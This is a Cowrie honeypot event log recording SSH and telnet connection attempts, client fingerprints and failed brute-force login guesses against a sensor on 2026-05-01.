{"eventid":"cowrie.session.closed","duration":12.975584030151367,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:19:48.852089Z","src_ip":"103.160.26.195","session":"576f804a44a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":38574,"dst_ip":"10.17.0.5","dst_port":22,"session":"b18022c90a79","protocol":"ssh","message":"New connection: 162.223.91.130:38574 (10.17.0.5:22) [session: b18022c90a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:04.279279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:04.284990Z","src_ip":"162.223.91.130","session":"b18022c90a79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:04.304931Z","src_ip":"162.223.91.130","session":"b18022c90a79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"qwe123","message":"login attempt [dev/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:04.413316Z","src_ip":"162.223.91.130","session":"b18022c90a79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:05.434640Z","src_ip":"162.223.91.130","session":"b18022c90a79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33174,"dst_ip":"159.203.135.109","dst_port":22,"session":"c24c153a5f9e","protocol":"ssh","message":"New connection: 159.203.92.129:33174 (159.203.135.109:22) [session: c24c153a5f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:09.666042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:09.671349Z","src_ip":"159.203.92.129","session":"c24c153a5f9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:09.676963Z","src_ip":"159.203.92.129","session":"c24c153a5f9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"welc0me","message":"login attempt [ansible/welc0me] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:09.709285Z","src_ip":"159.203.92.129","session":"c24c153a5f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00148916244507,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:10.520336Z","src_ip":"177.185.112.101","session":"86db72758363","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:10.716317Z","src_ip":"159.203.92.129","session":"c24c153a5f9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.185.112.101","src_port":43848,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccc9cee4efda","protocol":"telnet","message":"New connection: 177.185.112.101:43848 (10.17.0.5:23) [session: ccc9cee4efda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:13.572294Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":55434,"dst_ip":"159.203.135.109","dst_port":22,"session":"947709514f44","protocol":"ssh","message":"New connection: 157.7.113.83:55434 (159.203.135.109:22) [session: 947709514f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:26.489606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:26.494204Z","src_ip":"157.7.113.83","session":"947709514f44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:26.650511Z","src_ip":"157.7.113.83","session":"947709514f44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123","message":"login attempt [root/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:27.309719Z","src_ip":"157.7.113.83","session":"947709514f44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:28.470560Z","src_ip":"157.7.113.83","session":"947709514f44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":33132,"dst_ip":"159.203.135.109","dst_port":22,"session":"07843c9c71cf","protocol":"ssh","message":"New connection: 81.30.162.19:33132 (159.203.135.109:22) [session: 07843c9c71cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:29.611333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:29.618239Z","src_ip":"81.30.162.19","session":"07843c9c71cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:29.740687Z","src_ip":"81.30.162.19","session":"07843c9c71cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminftp","password":"adminftp","message":"login attempt [adminftp/adminftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:30.266890Z","src_ip":"81.30.162.19","session":"07843c9c71cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:31.392849Z","src_ip":"81.30.162.19","session":"07843c9c71cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":53472,"dst_ip":"10.17.0.5","dst_port":22,"session":"97bb0436dd3e","protocol":"ssh","message":"New connection: 162.223.91.130:53472 (10.17.0.5:22) [session: 97bb0436dd3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:39.973092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:39.977172Z","src_ip":"162.223.91.130","session":"97bb0436dd3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:39.993459Z","src_ip":"162.223.91.130","session":"97bb0436dd3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazwsx","message":"login attempt [ubuntu/qazwsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:40.094912Z","src_ip":"162.223.91.130","session":"97bb0436dd3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0021014213562,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:40.628026Z","src_ip":"41.68.62.5","session":"6c43cf78da87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:41.114061Z","src_ip":"162.223.91.130","session":"97bb0436dd3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.68.62.5","src_port":60736,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a86168c7cc3","protocol":"telnet","message":"New connection: 41.68.62.5:60736 (159.203.135.109:23) [session: 2a86168c7cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:44.551853Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60510,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f8792e1f58b","protocol":"ssh","message":"New connection: 159.203.92.129:60510 (159.203.135.109:22) [session: 3f8792e1f58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:53.237291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:53.241143Z","src_ip":"159.203.92.129","session":"3f8792e1f58b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:53.247164Z","src_ip":"159.203.92.129","session":"3f8792e1f58b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"welc0me12#$","message":"login attempt [ansible/welc0me12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:53.256424Z","src_ip":"159.203.92.129","session":"3f8792e1f58b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:20:54.287890Z","src_ip":"159.203.92.129","session":"3f8792e1f58b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":40124,"dst_ip":"10.17.0.5","dst_port":22,"session":"a498368e652a","protocol":"ssh","message":"New connection: 162.223.91.130:40124 (10.17.0.5:22) [session: a498368e652a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:15.756257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:15.760753Z","src_ip":"162.223.91.130","session":"a498368e652a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:15.781671Z","src_ip":"162.223.91.130","session":"a498368e652a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www-data","password":"test","message":"login attempt [www-data/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:15.891751Z","src_ip":"162.223.91.130","session":"a498368e652a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:16.913722Z","src_ip":"162.223.91.130","session":"a498368e652a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":41702,"dst_ip":"159.203.135.109","dst_port":22,"session":"48b0beda2146","protocol":"ssh","message":"New connection: 81.30.162.19:41702 (159.203.135.109:22) [session: 48b0beda2146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:22.228103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:22.233072Z","src_ip":"81.30.162.19","session":"48b0beda2146","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:22.353125Z","src_ip":"81.30.162.19","session":"48b0beda2146","protocol":"ssh"}
